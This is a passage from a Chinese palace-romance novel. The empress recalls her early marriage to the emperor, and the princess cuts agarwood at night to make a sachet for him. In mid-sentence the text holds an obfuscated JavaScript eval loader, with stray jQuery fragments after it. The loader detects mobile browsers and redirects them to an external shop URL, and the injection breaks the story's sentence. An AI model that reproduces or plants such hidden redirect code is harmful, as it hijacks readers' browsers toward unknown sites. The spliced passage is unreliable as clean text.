温氏闻言，望着院中那个背影，像是穿透了十几年的光阴回忆着。
“我嫁给你皇兄那年，刚及笄。他那时候还是太子，先帝为他选妃，我父亲是国子监祭酒，门第不高不低，刚好不会让任何一方势力忌惮，也拿不出什么让旁人眼红的嫁妆。”
她说到这里，嘴角微微一弯，露出一个带着自嘲的笑，“大婚那夜他掀了盖头，我紧张得把合卺酒洒了他一身。那件婚服是江南新贡的云锦，绣了整整三年的五爪金龙，一杯酒下去，金龙变成了醉龙。”
沈京仪忍不住笑了出来，连忙用手捂住嘴。皇后也笑了，眼角泛起细细的纹路，那是岁月留下的痕迹，却让她整个人看起来更温柔了几分。
“他愣了一会儿，低头看了看自己身上的酒渍，又抬头看了看我。然后他笑得前仰后合，说‘没事，反正我也不太会喝。’”皇后的声音微微发颤，“但他明明会喝的。他十四岁的时候酒量就比那些老臣还好。他那样说，不过是怕我难堪。”
沈京仪没有接话。她只是安静地听着。
她那时年纪稍小，这些事她从未听人说起过。
“大婚第三日，先帝便派他去江南巡视河工。”温氏继续道，手里的帕子被她慢慢地绕在指尖，绕了一圈又一圈，“那一去就是小半年。他回来的时候瘦了很多，还给我带了一枝江南的桃花。桃花早就枯了，但他还是一直揣在怀里。”
沈京仪低下头，她的鼻子酸得厉害。
“后来宫里出了很多事。”温氏的声音变得有些沉，手里的帕子被她紧紧攥在掌心，“那段日子你是知道的。他披上龙袍那天，在先帝的灵柩前跪了整整一夜。”
夜风吹过，院子里的池水泛起一圈又一圈的涟漪。云影似乎被风惊动了，发出一声低低的咕鸣，往沈易身边靠了靠。沈易伸手抚了抚它的脊背，像是一个父亲在哄一个做了噩梦的孩子。
沈京仪咬着下唇，不让自己发出声音。
她当然知道那场宫变。父皇被人在膳食中下了慢性毒药，发现的时候已经回天乏术，太医说那毒在体内积了至少半年。母后是在宫变那夜，为了替皇兄挡一支暗箭，血溅了太极殿的门槛。那年她太小，只知道一夜之间那些熟悉的、温暖的、可以依靠的全都碎成了齑粉。
“这些年，宫里那些妃嫔，你应该也看出来了。有的妃子是朝臣之女，收纳是为了安抚前朝，不让他们觉得新帝薄待旧臣，有的是罪臣之后，收入宫是为了保全性命，放在外头早晚要被仇家整死。这些事你皇兄从不跟你讲，怕污了你的耳朵。”
她说到这里，忽然转过身，正对着沈京仪，嘴角浮起一个意味深长的笑。那笑容里带着几分坦荡，还有几分说不清道不明的骄傲。
“所以外头有人议论，说皇后善妒，把持后宫，才让后宫凋零至此。”她微微抬起下巴，语气淡淡，“他们说他们的。我确实善妒，没什么不好认的。”她低下头，理了理袖口的褶皱，“有一年几个老臣联名上书，请你皇兄广纳后宫、绵延子嗣。那奏折递上来的时候，我正在为他磨墨。”
她停了一下，眼角微微弯起。
“我什么都没说。只是当晚给他炖了一盅汤，端过去的时候，恰好洒了几滴在他刚批好的选秀奏折上。”
沈京仪的眼睛慢慢睁大了。温氏看着她惊愕的表情，笑得更深了几分，那笑意从眼角漫到眉梢，整个人的神采都为之一变，她不再是那个端庄持重的中宫，而是当年那个敢在合卺酒洒了之后哭鼻子、也敢在选秀奏折上动手脚的小女子。
“那奏折便废了。”她的语气风轻云淡，“第二日早朝又有人提。你皇兄只回了一句话。”她抿了抿唇，学着他的语气，一字一顿，“朕的皇后善妒，诸位爱卿可要朕休妻？”
说到这里，她终于忍不住轻轻笑出声来。这阵笑声惊起了池中的云影。鹤偏过头，朝这边看了一眼，似乎认出了皇后，发出一声低低的咕鸣。皇帝也察觉到什么，微微侧了侧身。
温氏连忙拉着沈京仪往后退了半步，隐在门后的阴影里。两个人贴墙站着，大气都不敢出。过了片刻，院子里重新安静下来，她们才松了一口气。
沈京仪看着温氏的侧脸，心里涌起一种说不出的滋味。她忽然明白了“少年夫妻”四个字的分量。不是门当户对的联姻，不是相敬如宾的客套。而是两个人就肩并肩地站在了一起。一起跪过灵堂，一起扛过刀兵，一起在这座冰冷的宫城里，互相成为对方的暖炉。
忽然，院子里传来一声悠长的鸣叫。
沈京仪浑身一震。
那是云影。
它仰起头，修长的颈子绷成一道优美的弧线，喙尖指向夜空中那弯细细的月牙，发出一声穿云裂石的唳鸣。
鹤唳。
温氏轻轻握住了她的手，“回去吧，让他一个人待着。他喂完鹤就会回去的。”
沈京仪回到寝殿时，发髻上的那朵芍药还在。花瓣比傍晚时又卷曲了几分，可香气反而更浓了。
她的目光越过芍药，落在妆奁上。妆奁底下有个紫檀木的小匣子，匣子里存着几截沉香木。
“云娘备车，去沉香林。”
云娘愣住了，夜已经很深了，从这里到西郊沉香林，来去要好一阵子。可她看见公主的眼神，把满肚子的劝阻全都咽了回去。
马车在夜色中驶出了宫门。因为是公主的车驾，守门的侍卫没有盘问，只是默默让开了路。
马车行了大半个时辰，终于到了西郊。沉香林的管事秦伯被惊动了，披着衣裳、提着灯笼慌慌张张地迎出来，花白的头发被夜风吹得乱七八糟。他跪在地上行礼，声音里还带着睡意：“殿下，这大半夜的，您怎么来了……”
“不必跟着。”沈京仪接过他手中的灯笼，“我自己走走。”
秦伯应了一声，退到了林外，拢着袖子站在夜风里，望着公主的身影渐渐消失在林间小径的深处。
沈京仪独自走进林中。
夜色中的沉香林有一种别样的静谧。
因为这片林子只种沉香树，空气中没有杂花的甜香。
她在一棵最老的沉香树前停下，举起灯笼。
橘黄的灯光照亮了树身。这棵树已经很老了，树干粗得要两个人才能合抱，树皮是灰褐色的，粗糙而厚实，上面有好几道陈旧的刀痕，是她小时候学香道时秦伯帮她割的。
刀痕的边缘结了厚厚的树脂，颜色从浅褐渐渐过渡到深褐，在灯光下泛着油润的光泽，像是琥珀。
她伸出手，轻轻抚过那些粗糙的疤痕，指尖触到一道最深的口子，边缘的树脂已经硬化了，摸上去微微发烫。
她的手停在那里，她在想，这棵树要多疼，才能结成这样一块香。
沉香树的香不是天生的。
健康的沉香树不结香，只有受了伤的树才会。
伤口暴露在空气中，树木为了自愈分泌出树脂，在漫长的岁月里反复纠缠，最终凝结成沉香。伤口越深，时间越久，结出的香越珍贵。
她从袖中取出了柄银刀。
这柄刀是皇兄送给她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17886418|212556||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的。
那年她十二岁，刚学香道，需要用刀削香木。皇兄让内府造了这柄刀，刀身只有三寸长，却是用上好的百炼钢打的，上面刻了一朵小小的芍药，花瓣的纹理都清晰可辨。她从不舍得用它削别的东西，只用来削沉香。
她选中一根粗壮的树枝，深吸一口气，将刀尖抵在树皮上。刀锋入木的触感很涩，像是切进了一块干硬的皮革。她咬紧牙关，手腕用力一道口子豁然裂开，露出底下浅色的木质。新鲜的树脂立刻从伤口处渗出，在月光下像一滴凝固的泪，黏稠的，温热的，带着一股浓郁的清苦香气。
“对不起。”她对着树轻声道。
树脂从伤口处缓缓流出，在夜风中散发出一缕清冽的异香，浓得几乎有些呛人。
削下来的木头不大，只有手掌长短，拇指粗细。
她用帕子将木料仔细包好，放进袖中。然后她弯下腰，将散落在树根旁的那些木屑一片一片捡起来。沉香木的木屑也是香的，弃了可惜。
马车在宫门前停下时，已近亥时。
她回到寝殿，将沉香木料从袖中取出，放在妆奁旁的白瓷小碟。
云娘端了热水进来，伺候她净面卸妆。她从铜镜中看见自己的脸，眉眼间带着一丝倦意，眼睑微微发红。
“公主。”云娘替她解开发髻，用犀角梳一下一下地梳着，声音里带着几分无奈几分心疼，“您这大半夜的跑那么远，就为了削一截木头？您要什么木料没有，库房里多的是，何苦亲自去......”
“云娘。”沈京仪打断了她。她从铜镜里看着云娘的眼睛，忽然问了一句毫不相干的话，“你知道大齐一共有多少棵沉香树吗？”
云娘想了想，手里的梳子没有停：“这个奴婢哪里知道，总归不多吧。”
“五棵。”沈京仪竖起五根手指，然后一根一根地收拢，最后剩下三根，“整个大齐，能结香的沉香树，一共只有五棵。其中三棵，在我手里。”
云娘手里的犀角梳停住了，她虽然知道公主有沉香林，也知道那林子里的树很珍贵，却从来不知道珍贵到这个地步。
整个大齐只有五棵，公主独占三棵，这意味着什么？意味着那些王公贵族、那些世家大族，他们要沉香，只能眼巴巴地等那另外两棵树的产出，或者花重金从海外番邦购买。而公主手里握着大齐七成的沉香，却从来舍不得用，任由那三棵树安安静静地长在西郊的林子里，一年又一年，落叶发芽，开花结香。
“皇兄让人寻遍了天下，找到了这五棵古树。其中三棵，他命人连根带土从千里之外运回来，每一棵都用锦缎裹着根，用清水养着，一路上换了不知多少拨马匹。”她的声音微微发颤，手指的动作也停了，“移栽到西郊，圈成一片沉香林。那道旨意下去的时候，朝堂上吵了好几天。有御史说这不合祖制，有大臣说这是劳民伤财，有言官上书直谏，说陛下宠妹太过，恐非社稷之福。”
云娘攥紧了手里的梳子。
沈京仪抬起头，看着铜镜中自己的眼睛，“皇兄却说，朕的妹妹，配得上天下最好的东西。”
云娘低下头，用袖子按了按眼角，然后拿起梳子继续给她梳头：“陛下待公主，真是没得说了。”
“明日帮我备好绣架，还有玄色的锦缎和银线。”沈京仪将那截沉香木料小心地收进妆奁的抽屉里。
云娘应了一声，端起水盆准备退下。
而此刻的沈京仪心想，明日那只香囊，她一定要绣好。
如今，该轮到她陪他了。